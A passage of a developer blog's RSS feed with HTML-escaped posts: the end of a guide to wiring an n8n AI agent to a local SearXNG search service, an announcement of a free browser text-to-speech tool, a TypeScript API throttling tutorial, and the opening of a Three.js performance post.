&amp;lt;source src=&quot;/videos/searxng.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;
Your browser does not support the video tag.
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;However, there is one thing preventing the n8n AI Agent from utilizing this service: SearXNG needs to communicate in JSON format. Currently, it only returns HTML (which is suitable for visualization in a browser).&lt;/p&gt;
&lt;p&gt;Configuring it to return responses in JSON format is straightforward. You may have noticed that, after running &lt;code&gt;searxng&lt;/code&gt;, a new folder named &lt;code&gt;searxng&lt;/code&gt; has appeared.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;workspace
├── docker-compose.yml
├── n8n
│   └── backup
│       ├── credentials
│       └── workflows
└── searxng
    ├── limiter.toml
    └── settings.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is sufficient to edit &lt;code&gt;searxng/settings.yml&lt;/code&gt; so that it looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# formats: [html, csv, json, rss]
formats:
  - html
  - json # &amp;lt;-- Add this
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remind yourself to &lt;code&gt;docker restart searxng&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can now add another query parameter named &lt;code&gt;format&lt;/code&gt; and set it to &lt;code&gt;json&lt;/code&gt;. This will enable the SearXNG service to return responses in JSON format, which is essential for our AI Agent to process the data effectively.&lt;/p&gt;
&lt;p&gt;Now, it’s time to integrate this configuration into the AI Agent.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 4: Integrate AI Agent with SearXNG&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./ai_agent_with_search.png&quot; alt=&quot;Complete AI Agent&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This integration will allow our agent to pull in real-time data from the web, making it smarter and more reliable.&lt;/p&gt;
&lt;p&gt;&amp;lt;video width=&quot;720&quot; height=&quot;353&quot; controls class=&quot;rounded shadow-md bg-base-300 border-2 border-secondary/60 w-full&quot;&amp;gt;
&amp;lt;source src=&quot;/videos/n8n_with_searxng.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;
Your browser does not support the video tag.
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;Let’s get down to business and set up an &lt;strong&gt;HTTP Request Tool&lt;/strong&gt; in n8n. Here’s how to do it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;: This is where you help the AI Agent understand what the tool is for. A good description could be: &quot;Use this tool to fetch fresh data from the web.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;URL&lt;/strong&gt;: Point it to the SearXNG container with the URL: &lt;code&gt;http://searxng:8080/search&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Query Parameter &lt;code&gt;q&lt;/code&gt;&lt;/strong&gt;: Let the AI Agent decide what to search for—this keeps things flexible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Query Parameter &lt;code&gt;json&lt;/code&gt;&lt;/strong&gt;: Set this to &lt;code&gt;json&lt;/code&gt; to ensure we get the response in the right format.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With the HTTP Request Tool all set up, you can now give your agent some clear instructions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make it a &lt;strong&gt;Myth-Busting Agent&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Always use the web search tool to base its answers on the latest data.&lt;/li&gt;
&lt;li&gt;Ensure it provides sources for every claim it makes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s a simple system prompt to get you started, but feel free to tweak it to your liking!&lt;/p&gt;
&lt;p&gt;&amp;lt;Collapse title=&quot;System Prompt&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;You are a &lt;strong&gt;Myth-Busting Agent&lt;/strong&gt;. Your primary function is to identify and debunk common myths and misconceptions by providing accurate information based on data retrieved with the web search tool.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mandatory Web Search Utilization&lt;/strong&gt;: You &lt;strong&gt;must always&lt;/strong&gt; invoke the web search tool to gather information. Your responses must be based solely on the data retrieved from reliable online sources.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Source Attribution&lt;/strong&gt;: You &lt;strong&gt;must always&lt;/strong&gt; return sources with every claim you make. Provide a link to the source of your information, ensuring that the sources are credible and relevant to the topic at hand.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clarity and Conciseness&lt;/strong&gt;: Present your findings in a clear and concise manner, making it easy for users to understand the truth behind the myth.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Engagement&lt;/strong&gt;: Encourage users to ask follow-up questions or request clarification on any points you make.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Respectful Tone&lt;/strong&gt;: Maintain a respectful and informative tone, acknowledging that misconceptions can arise from various sources.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;/Collapse&amp;gt;&lt;/p&gt;
&lt;p&gt;This is just a simple example, but I believe it lays the groundwork for you to start exploring this tool. There’s so much potential here, and I’m excited to see what you can create! Over the next few months, I look forward to sharing more insights and learning together as we dive deeper into the possibilities.&lt;/p&gt;
&lt;p&gt;Happy automating!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Why This Setup Rocks ✅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Free &amp;amp; Local&lt;/strong&gt; – No subscriptions, free API keys, and no hidden limits (at least for single-user usage).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modular &amp;amp; Extensible&lt;/strong&gt; – Easily integrate other tools like local LLMs or vector databases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No-Code Friendly&lt;/strong&gt; – Got a new idea? Assembling something is much easier when you don’t need to code (especially after coding all day for someone else). Instead, you simply connect blocks. While there are complexities involved, I find it useful for prototyping and experimentation. Additionally, it allows you to build chats, multi-step forms, or even expose workflows as endpoints, enabling you to craft your own UI.&lt;/li&gt;
&lt;li&gt;(Not) &lt;strong&gt;Private by Design&lt;/strong&gt; – We are using &lt;strong&gt;Gemini 2.0 Flash&lt;/strong&gt;, which means our data is processed on their servers by definition. This may not necessarily be a problem, depending on your use case. If you need to keep your data 100% private, you can refer back to the &lt;strong&gt;Ollama&lt;/strong&gt; instructions we filtered out during Step 1 and use that instead.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Why Not Use n8n&apos;s Community Nodes?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you decide to replace n8n with a custom-optimized implementation in the future, you won’t have to do any additional work for the other components like SearXNG or Postgres. You can simply replace the n8n service with your own Python server (or hire someone else to do it for you), and everything else will continue to function as before.&lt;/p&gt;
&lt;p&gt;This approach makes it much easier to transition to the cloud if you create a valuable workflow that you wish to make available online. For example, you can copy and paste that &lt;code&gt;docker-compose.yml&lt;/code&gt; into &lt;a href=&quot;https://www.coolify.io/&quot;&gt;Coolify&lt;/a&gt; to replicate what we did locally on a remote server.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Got Questions? 💬&lt;/h2&gt;
&lt;p&gt;This setup is just the starting point—there’s a lot you can build from here.&lt;br /&gt;
If you encounter any issues or want help exploring ideas, feel free to drop a comment or connect with me on Twitter/LinkedIn.&lt;/p&gt;
</content:encoded></item><item><title>Free Online Text to Speech Generator - SpeechStudio.ai</title><link>https://didof.dev/blog/free-online-text-to-audio-with-speechstudio/</link><guid isPermaLink="true">https://didof.dev/blog/free-online-text-to-audio-with-speechstudio/</guid><description>Check out SpeechStudio.ai, a free and powerful text-to-speech tool that provides natural-sounding voices and supports multiple speakers. It&apos;s perfect for podcasts, presentations, and creative projects, all without any costs or signups.</description><pubDate>Fri, 18 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;🎉 Announcing SpeechStudio.ai: Your Free, Flexible, and Powerful Text-to-Speech Playground&lt;/h2&gt;
&lt;p&gt;Developers and creators—have you ever wanted to generate lifelike TTS (text-to-speech) audio right in your browser, tweak voices, and experiment for free—without limits or signups? Today, I’m excited to introduce &lt;a href=&quot;https://speechstudio.ai&quot;&gt;&lt;strong&gt;speechstudio.ai&lt;/strong&gt;&lt;/a&gt;, my latest side project designed for anyone who loves working with speech tech or just wants to try it out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://speechstudio.ai&quot;&gt;→ Try SpeechStudio.ai&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;What is SpeechStudio.ai?&lt;/h2&gt;
&lt;p&gt;SpeechStudio.ai is a &lt;strong&gt;free, browser-based tool&lt;/strong&gt; that lets you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Generate natural-sounding English TTS&lt;/strong&gt; right in your browser&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create unlimited projects and scripts&lt;/strong&gt; (they’re saved on your device, not the cloud)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Combine and edit multiple voices&lt;/strong&gt; within the same project&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Control speed and content&lt;/strong&gt; for each TTS segment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Preview playback instantly&lt;/strong&gt; and download your audio with a click&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concatenate snippets&lt;/strong&gt; for building longer audio sequences&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There&apos;s &lt;strong&gt;no signup required&lt;/strong&gt;, no paywall, and no hidden limits.&lt;/p&gt;
&lt;h2&gt;How Does It Work?&lt;/h2&gt;
&lt;p&gt;Under the hood, SpeechStudio.ai is powered by some of the latest web tech:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web Workers&lt;/strong&gt; handle intense computation, keeping the editor super-smooth, even with longer scripts or multiple tracks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;kokoro-js&lt;/strong&gt; (compiled to WebAssembly) brings efficient, near-native TTS processing directly to your browser—no server required!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modern UI&lt;/strong&gt;: A point-and-click editor for managing speech segments, voice changes, and timing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What that means in practice: &lt;strong&gt;everything happens locally in your browser, fast and securely&lt;/strong&gt;, so you don’t have to wait for server roundtrips or risk sensitive data being stored elsewhere.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Shaped by &lt;em&gt;You&lt;/em&gt;: Community-Driven Roadmap&lt;/h2&gt;
&lt;p&gt;Here’s what I think makes SpeechStudio.ai unique: &lt;strong&gt;It&apos;s an evolving project, guided by user feedback&lt;/strong&gt;. I’ve learned from past experience—building in a vacuum isn’t the answer. That’s why &lt;strong&gt;your feedback, feature requests, and use cases will directly influence where SpeechStudio.ai goes next&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Support for new languages? Advanced audio tracks? Background music and FX? Let me know what you need!&lt;/strong&gt; Join the conversation and help shape the project.&lt;/p&gt;
&lt;h2&gt;Sneak Peek: The Road Ahead&lt;/h2&gt;
&lt;p&gt;This is just the start! Here’s a rough roadmap for what’s coming:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Premium dashboard&lt;/strong&gt; with authentication &amp;amp; payment (for even better TTS, more voices, and improved export options)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Timeline-based editor&lt;/strong&gt; (think Final Cut Pro for speech audio)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background music and sound FX&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI-powered writing helper&lt;/strong&gt; for scripts and voiceovers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drag-and-drop text-to-audio interface&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;—I’ll prioritize what users want the most. Your feedback = the project’s direction.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Try SpeechStudio.ai Today, Share for a Reward!&lt;/h2&gt;
&lt;p&gt;Ready to give it a spin? &lt;a href=&quot;https://speechstudio.ai&quot;&gt;&lt;strong&gt;Check out the demo right now!&lt;/strong&gt;&lt;/a&gt; No install, no cost, just open and create.&lt;/p&gt;
&lt;p&gt;Want to help out (and score a future discount)? If you share a post about SpeechStudio.ai and tag/link to me, I’ll personally reach out with a &lt;strong&gt;promocode for premium features&lt;/strong&gt; once they&apos;re live.&lt;/p&gt;
&lt;h2&gt;Let’s Build the Next-Gen TTS Platform—Together&lt;/h2&gt;
&lt;p&gt;I’d love for you to &lt;strong&gt;try SpeechStudio.ai, share your feedback, and even wild feature ideas&lt;/strong&gt;. Whether you’re a developer, content creator, or just enjoy tinkering with new tech—this tool is for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jump in, experiment, and let’s shape the future of browser-based speech synthesis together.&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Questions, thoughts, or suggestions? Write a post, or ping me on social!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://speechstudio.ai&quot;&gt;→ Try SpeechStudio.ai&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Throttling Explained: A Guide to Managing API Request Limits</title><link>https://didof.dev/blog/throttling-guide-api-request-limits/</link><guid isPermaLink="true">https://didof.dev/blog/throttling-guide-api-request-limits/</guid><description>Learn how to implement a simple and effective throttling system in TypeScript to protect your APIs from overload. This guide covers rate-limiting strategies, IP tracking, and periodic cleanup to manage stale records and optimize performance.</description><pubDate>Wed, 04 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;!-- Investigate: https://github.com/ciscoheat/sveltekit-rate-limiter --&amp;gt;&lt;/p&gt;
&lt;h2&gt;When Should You Implement Throttling in Your Code?&lt;/h2&gt;
&lt;p&gt;For big projects, it’s usually best to use tools like &lt;a href=&quot;https://www.cloudflare.com/en-gb/application-services/products/rate-limiting/&quot;&gt;Cloudflare Rate Limiting&lt;/a&gt; or &lt;a href=&quot;https://www.haproxy.com/documentation/haproxy-configuration-tutorials/traffic-policing/&quot;&gt;HAProxy&lt;/a&gt;. These are powerful, reliable, and take care of the heavy lifting for you.&lt;/p&gt;
&lt;p&gt;But for smaller projects—or if you want to learn how things work—you can create your own rate limiter right in your code. Why?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It’s Simple&lt;/strong&gt;: You’ll build something straightforward that’s easy to understand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It’s Budget-Friendly&lt;/strong&gt;: No extra costs beyond hosting your server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It Works for Small Projects&lt;/strong&gt;: As long as traffic is low, it keeps things fast and efficient.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It’s Reusable&lt;/strong&gt;: You can copy it into other projects without setting up new tools or services.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What You Will Learn&lt;/h2&gt;
&lt;p&gt;By the end of this guide, you’ll know how to build a basic throttler in &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt; to protect your APIs from being overwhelmed. Here’s what we’ll cover:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Configurable Time Limits&lt;/strong&gt;: Each blocked attempt increases the lockout duration to prevent abuse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request Caps&lt;/strong&gt;: Set a maximum number of allowed requests. This is especially useful for APIs that involve paid services, like OpenAI.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;In-Memory Storage&lt;/strong&gt;: A simple solution that works without external tools like Redis—ideal for small projects or prototypes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Per-User Limits&lt;/strong&gt;: Track requests on a per-user basis using their IPv4 address. We’ll leverage &lt;a href=&quot;https://svelte.dev/docs/kit/@sveltejs-kit#RequestEvent&quot;&gt;SvelteKit&lt;/a&gt; to easily retrieve the client IP with its &lt;a href=&quot;https://github.com/sveltejs/kit/pull/4289&quot;&gt;built-in method&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;This guide is designed to be a practical starting point, perfect for developers who want to learn the basics without unnecessary complexity. &lt;strong&gt;But it is not production-ready&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Before starting, I want to give the right credits to &lt;a href=&quot;https://lucia-next.pages.dev/rate-limit/throttling&quot;&gt;Lucia&apos;s Rate Limiting section&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Throttler Implementation&lt;/h2&gt;
&lt;p&gt;Let’s define the &lt;code&gt;Throttler&lt;/code&gt; class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class Throttler {
	private storage = new Map&amp;lt;string, ThrottlingCounter&amp;gt;();

	constructor(private timeoutSeconds: number[]) {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Throttler&lt;/code&gt; constructor accepts a list of timeout durations (&lt;code&gt;timeoutSeconds&lt;/code&gt;). Each time a user is blocked, the duration increases progressively based on this list. Eventually, when the final timeout is reached, you could even trigger a callback to permanently ban the user’s IP—though that’s beyond the scope of this guide.&lt;/p&gt;
&lt;p&gt;Here’s an example of creating a throttler instance that blocks users for increasing intervals:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const throttler = new Throttler([1, 2, 4, 8, 16]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This instance will block users the first time for one second. The second time for two, and so on.&lt;/p&gt;
&lt;p&gt;We use a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map&quot;&gt;Map&lt;/a&gt; to store IP addresses and their corresponding data. A &lt;code&gt;Map&lt;/code&gt; is ideal because it handles frequent additions and deletions efficiently.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pro Tip: Use a Map for dynamic data that changes frequently. For static, unchanging data, an object is better. (Rabbit hole [^1])&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;[^1]: If you’re feeling adventurous, you may be interested into reading &lt;a href=&quot;https://v8.dev/blog/fast-properties&quot;&gt;how properties are allocared&lt;/a&gt; and &lt;a href=&quot;https://v8.dev/blog/hash-code&quot;&gt;how it changes&lt;/a&gt;. Also, why not, about &lt;a href=&quot;https://mrale.ph/blog/2012/06/03/explaining-js-vms-in-js-inline-caches.html&quot;&gt;VMs optmizations like inline caches&lt;/a&gt;, which is particularly favored by &lt;a href=&quot;https://mrale.ph/blog/2015/01/11/whats-up-with-monomorphism.html&quot;&gt;monomorphism&lt;/a&gt;. Enjoy.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;When your endpoint receives a request, it extracts the user&apos;s IP address and consults the &lt;code&gt;Throttler&lt;/code&gt; to determine whether the request should be allowed.&lt;/p&gt;
&lt;h3&gt;How it Works&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Case A: New or Inactive User&lt;/strong&gt;&lt;br /&gt;
If the IP is not found in the &lt;code&gt;Throttler&lt;/code&gt;, it’s either the user’s first request or they’ve been inactive long enough. In this case:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allow the action.&lt;/li&gt;
&lt;li&gt;Track the user by storing their IP with an initial timeout.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Case B: Active User&lt;/strong&gt;&lt;br /&gt;
If the IP is found, it means the user has made previous requests. Here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if the required wait time (based on the &lt;code&gt;timeoutSeconds&lt;/code&gt; array) has passed since their last block.&lt;/li&gt;
&lt;li&gt;If enough time has passed:
&lt;ul&gt;
&lt;li&gt;Update the timestamp.&lt;/li&gt;
&lt;li&gt;Increment the timeout index (capped to the last index to prevent overflow).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If not, deny the request.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this latter case, we need to check if enough time is passed since last block. We know which of the &lt;code&gt;timeoutSeconds&lt;/code&gt; we should refer thank to an &lt;code&gt;index&lt;/code&gt;. If not, simply bounce back. Otherwise update the timestamp.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class Throttler {
	// ...

	public consume(key: string): boolean {
		const counter = this.storage.get(key) ?? null;
		const now = Date.now();

		// Case A
		if (counter === null) {
			// At next request, will be found.
			// The index 0 of [1, 2, 4, 8, 16] returns 1.
			// That&apos;s the amount of seconds it will have to wait.
			this.storage.set(key, {
				index: 0,
				updatedAt: now
			});
			return true; // allowed
		}

		// Case B
		const timeoutMs = this.timeoutSeconds[counter.index] * 1000;
		const allowed = now - counter.updatedAt &amp;gt;= timeoutMs;
		if (!allowed) {
			return false; // denied
		}

        // Allow the call, but increment timeout for following requests.
		counter.updatedAt = now;
		counter.index = Math.min(counter.index + 1, this.timeoutSeconds.length - 1);
		this.storage.set(key, counter);

		return true; // allowed
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When updating the index, it caps to the last index of &lt;code&gt;timeoutSeconds&lt;/code&gt;. Without it, &lt;code&gt;counter.index + 1&lt;/code&gt; would overflow it and next &lt;code&gt;this.timeoutSeconds[counter.index]&lt;/code&gt; access would result in a runtime error.&lt;/p&gt;
&lt;h2&gt;Endpoint example&lt;/h2&gt;
&lt;p&gt;This example shows how to use the &lt;code&gt;Throttler&lt;/code&gt; to limit how often a user can call your API. If the user makes too many requests, they’ll get an error instead of running the main logic.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const throttler = new Throttler([1, 2, 4, 8, 16, 30, 60, 300]);

export async function GET({ getClientAddress }) {
	const IP = getClientAddress();

	if (!throttler.consume(IP)) {
		throw error(429, { message: &apos;Too Many Requests&apos; });
	}

	// Read from DB, call OpenAI - do the thing.

	return new Response(null, { status: 200 });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;div class=&quot;grid place-content-center&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/gifs/throttling-1.gif&quot; alt=&quot;Throttling GIF example&quot; /&gt;
&amp;lt;/div&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;h2&gt;Note for Authentication&lt;/h2&gt;
&lt;p&gt;When using rate limiting with login systems, you might face this issue:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A user logs in, triggering the &lt;code&gt;Throttler&lt;/code&gt; to associate a timeout with their IP.&lt;/li&gt;
&lt;li&gt;The user logs out or their session ends (e.g., logs out immediately, cookie expires with session and browsers crashes, etc.).&lt;/li&gt;
&lt;li&gt;When they try to log in again shortly after, the &lt;code&gt;Throttler&lt;/code&gt; may still block them, returning a &lt;code&gt;429 Too Many Requests&lt;/code&gt; error.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To prevent this, use the user’s unique &lt;code&gt;userID&lt;/code&gt; instead of their IP for rate limiting. Also, you must reset the throttler state after a successful login to avoid unnecessary blocks.&lt;/p&gt;
&lt;p&gt;Add a &lt;code&gt;reset&lt;/code&gt; method to the &lt;code&gt;Throttler&lt;/code&gt; class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class Throttler {
	// ...

	public reset(key: string): void {
		this.storage.delete(key);
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And use it after a successful login:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const user = db.get(email);

if (!throttler.consume(user.ID)) {
	throw error(429);
}

const validPassword = verifyPassword(user.password, providedPassword);
if (!validPassword) {
	throw error(401);
}

throttler.reset(user.id); // Clear throttling for the user
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Managing Stale IP Records with Periodic Cleanup&lt;/h2&gt;
&lt;p&gt;As your throttler tracks IPs and rate limits, it&apos;s important to think about how and when to remove IP records that are no longer needed. Without a cleanup mechanism, your throttler will continue to store records in memory, potentially leading to performance issues over time as the data grows.&lt;/p&gt;
&lt;p&gt;To prevent this, you can implement a cleanup function that periodically removes old records after a certain period of inactivity. Here&apos;s an example of how to add a simple cleanup method to remove stale entries from the throttler.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export class Throttler {
	// ...

	public cleanup(): void {
        const now = Date.now()

        // Capture the keys first to avoid issues during iteration (we use .delete)
        const keys = Array.from(this.storage.keys())

        for (const key of keys) {
            const counter = this.storage.get(key)
            if (!counter) {
                // Skip if the counter is already deleted (handles concurrency issues)
                return
            }

            // If the IP is at the first timeout, remove it from storage
            if (counter.index == 0) {
                this.storage.delete(key)
                continue
            }

            // Otherwise, reduce the timeout index and update the timestamp
            counter.index -= 1
            counter.updatedAt = now
            this.storage.set(key, counter)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A very simple way (but probably not the best) way to schedule the cleanup is with &lt;code&gt;setInterval&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const throttler = new Throttler([1, 2, 4, 8, 16, 30, 60, 300])
const oneMinute = 60_000
setInterval(() =&amp;gt; throttler.cleanup(), oneMinute)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With periodic cleanup, you prevent memory bloat and ensure that users who haven’t attempted to make requests in a while are no longer tracked - this is a first step toward making your rate-limiting system both scalable and resource-efficient.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>Optimize Three.js: 4 Key Techniques</title><link>https://didof.dev/blog/optimize-threejs-4-key-techniques/</link><guid isPermaLink="true">https://didof.dev/blog/optimize-threejs-4-key-techniques/</guid><description>Practical tips for improving performance when working with Three.js scenes in real-world projects.</description><pubDate>Mon, 12 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CardProceduralTerrain from &quot;./scene.astro&quot;&lt;/p&gt;
&lt;p&gt;Code can be art. Whether it&apos;s in clever syntax, elegant data structures, or refined interactions, there’s beauty only programmers see—and that’s fine.&lt;/p&gt;
&lt;p&gt;&amp;lt;CardProceduralTerrain /&amp;gt;&lt;/p&gt;
&lt;p&gt;But code can also create something visually stunning, something everyone can appreciate. This is where tools like &lt;a href=&quot;https://threejs.org/&quot;&gt;Three.js&lt;/a&gt; shine. However, Three.js can be heavy, especially when used in a dynamic web page accessed by devices with varying computational power.&lt;/p&gt;
&lt;p&gt;If you’re like me, adding multiple Three.js scenes to your site (as I do on &lt;a href=&quot;https://didof.dev&quot;&gt;didof.dev&lt;/a&gt;), you’ll need optimizations. Here are three practical techniques to keep performance in check.&lt;/p&gt;
&lt;h2&gt;Load Scenes Only When Needed&lt;/h2&gt;
&lt;p&gt;Don’t load a scene if it’s not visible. This applies to any heavy graphical component. The best tool for this is &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API&quot;&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;&lt;/a&gt;, which detects when an element enters the viewport. Here&apos;s how I handle it in &lt;a href=&quot;https://svelte.dev/docs/kit/introduction&quot;&gt;SvelteKit&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script lang=&quot;ts&quot;&amp;gt;
	import { browser } from &apos;$app/environment&apos;;
	import { onMount } from &apos;svelte&apos;;

	let ref: HTMLDivElement;
	let download = $state(false);
	if (browser)
		onMount(() =&amp;gt; {
			const observer = new IntersectionObserver(([entry]) =&amp;gt; {
				if (entry.isIntersecting) {
					download = true;

					// we need this once only
					observer.disconnect();
				}
			});
			// ref has been bound by Svelte since we are in onMount
			observer.observe(ref);

			return () =&amp;gt; observer.disconnect();
		});
&amp;lt;/script&amp;gt;

&amp;lt;div bind:this={ref}&amp;gt;
	{#if download}
		&amp;lt;!-- let SvelteKit handle the code splitting --&amp;gt;
		{#await import(&apos;./three-scene.svelte&apos;)}
			Loading
		{:then module}
			&amp;lt;module.default /&amp;gt;
		{:catch error}
			&amp;lt;div&amp;gt;{error}&amp;lt;/div&amp;gt;
		{/await}
	{/if}
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pause Scenes Out of View&lt;/h2&gt;
&lt;p&gt;If a scene isn’t visible, stop rendering it. Most tutorials focus on a single fullscreen scene, but for sites with multiple scenes, pausing hidden ones saves resources.&lt;/p&gt;
&lt;p&gt;Here’s a snippet using &lt;code&gt;IntersectionObserver&lt;/code&gt; to control a scene’s animation loop:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function tick() {
	const elapsedTime = clock.getElapsedTime();

	// Update your scene (e.g. set uniforms, move/rotate geometries...)

	renderer.render(scene, camera);
}

// Start the rendering
renderer.setAnimationLoop(tick);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once again, our friend &lt;code&gt;IntersectionObserver&lt;/code&gt; comes to our aid.&lt;/p&gt;
